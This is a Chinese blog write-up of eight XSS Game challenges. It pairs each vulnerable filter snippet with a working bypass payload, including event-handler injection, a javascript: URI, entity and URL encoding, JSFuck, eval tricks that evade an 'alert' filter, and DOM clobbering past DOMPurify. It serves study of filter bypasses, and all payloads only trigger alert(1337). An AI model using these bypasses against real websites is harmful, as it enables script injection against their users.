XSS Game分析以及知识点总结

时间:2022-07-23
本文章向大家介绍XSS Game分析以及知识点总结,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

XSS Game 分析以及知识点总结

最近,正在学习XSS各种Bypass姿势,发现了某位Youtuber搭建的XSS Game平台,感觉还不错,正好用来实践XSS Bypass的技巧。在此分享给大家,如有任何问题,可留言探讨。本人也是小白一个,文章中如果出现错误,请大家指正。

题目概述

每道题目会给出XSS过滤器的实现,要求在没有用户交互的前提下弹框(alert(1337)),在Chrome下测试通过即可。话不多说,步入正文。

题目

1. Ma Spaghet

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
   spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析:本题基本上是送分题,没有任何过滤,二话不说直接干。

答案<svg onload=alert(1337)>

2. Jefff

<!-- Challenge --><h2 id="maname"></h2><script>    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")    let ma = ""    eval(`ma = "Ma name ${jeff}"`)    setTimeout(_ => {        maname.innerText = ma    }, 1000)</script>

分析:本题也没有任何过滤,解题的核心在于能让jeff这个变量里包含alert(1337)并且能够执行,同时保证ma = "Ma name ${jeff}"这个赋值语句的语法正确即可。可以选择使用-进行分割。

答案"-alert(1337)-"。对答案稍作解释,以免小白不理解。将变量jeff替换后,语句变为ma = "Ma name "-alert(1337)-""。首先,这是一个合法的表达式。JS为了进行-运算,会对每部分进行解析,在解析过程中,会执行alert(1337)

3. Ugandan Knuckles

<!-- Challenge --><div id="uganda"></div><script>    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");    wey = wey.replace(/[<>]/g, '')    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`</script>

分析:从代码中可以看到,变量wey是插入到了<input>元素的属性中,同时对尖括号(<>)进行了过滤。既然无法使用尖括号对<input>标签进行闭合,那么可以尝试用双引号闭合标签内部的属性。同时,使用autofocus来自动触发onfocus事件中对应的函数,避免用户交互。

答案"onfocus=alert(1337) autofocus="

4. Ricardo Milos

<!-- Challenge --><form id="ricardo" method="GET">    <input name="milos" type="text" class="form-control" placeholder="True" value="True"></form><script>    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')    setTimeout(_ => {        ricardo.submit()    }, 2000)</script>

分析:从代码中可以看出,用户的输入ricardo会成为表单提交的URL地址。由于没有任何过滤,可以直接使用javascript伪协议来执行弹框。

答案javascript:alert(1337)

5. Ah That’s Hawt

<!-- Challenge --><h2 id="will"></h2><script>    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")    smith = smith.replace(/[(`)\]/g, '')    will.innerHTML = smith</script>

分析:本题难度加大一点,过滤掉了()`这几个符号,显然不能直接alert(1337)进行弹框。但是过滤器并没有考虑到HTML实体编码,所以我们可以用HTML实体编码来绕过过滤。同时,因为HTML实体编码中有&,在传参到URL里时,要再经过一次URL编码

答案

<!--  无任何编码--><svg onload="alert(1337)"><!-- HTML实体编码 --><svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;"><!-- URL编码,最终答案 -->%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6. Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析:根据代码可见,过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。

答案

// JSFuck转换后的alert(1337)[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 由于有特殊字符,需要经过URL编码"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"

7. Mafia

/* Challenge */mafia = (new URL(location).searchParams.get('mafia') || '1+1')mafia = mafia.slice(0, 50)mafia = mafia.replace(/[`'"+-!\[]]/gi, '_')mafia = mafia.replace(/alert/g, '_')eval(mafia)

分析:本题存在三个限制

  • 截取长度50的字符串
  • `'"+-![]被替换为_
  • alert被替换为_

长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert字符串的检测。可以使用如下几种办法。

  • 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
  • 利用数字和字符串之间的互相转换,来绕过针对alert的检测。
  • 在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。

答案

// 匿名函数Function(/ALERT(1337)/.source.toLowerCase())()// 数字转字符串,将30进制的数字8680439转换成字符串,就是alerteval(8680439..toString(30))(1337)// 在原始的URL后面加上 #alert(1337),然后通过下面的语句将payload取出eval(location.hash.slice(1))

8. Ok, Boomer

<!-- Challenge --><h2 id="boomer">Ok, Boomer.</h2><script>    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")    setTimeout(ok, 2000)</script>

分析:本题中使用了DOMPurify这个第三方库来过滤非法字符。同时,setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串。如果我们能够向ok这个变量注入可执行的payload,那么也就能成功弹框。在此,我们可以使用DOM Clobbering的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量。

首先,要构造一个变量ok,我们可以通过创建一个id=ok的DOM元素来实现,比如<div id="ok"></div>

然后,要考虑如何构造alert(1337)这个字符串。ok需要接受一个字符串作为值,而在对<a>标签调用toString()方法时,会返回属性href的值。所以,我们可以选择<a>标签作为构造对象。href的值要遵守protocol:uri的格式。然而,在href里直接使用javascript:协议是不行的。通过查看DOMPurify的源码可以发现,它支持的合法的协议有mailto, tel, xmpp等等,随便选择一个即可。

答案<a id=ok href=tel:alert(1337)>

关于DOM Clobbering的讲解,可以参考这篇文章

总结

通过这次的XSS Game,学习到了以下几点常用技巧:

  • -能够用来闭合HTML标签内部属性。
  • onfocusautofocus配合自动触发payload执行。
  • javascript:伪协议执行payload。
  • HTML实体编码+URL编码绕过某些特殊符号过滤。
  • JSFuck混淆代码。
  • 数字转字符串和构造匿名函数绕过对某些特定字符串(比如alert)的检查。
  • DOM Clobbering,通过注入HTML元素,实现对JavaScript变量的赋值操作。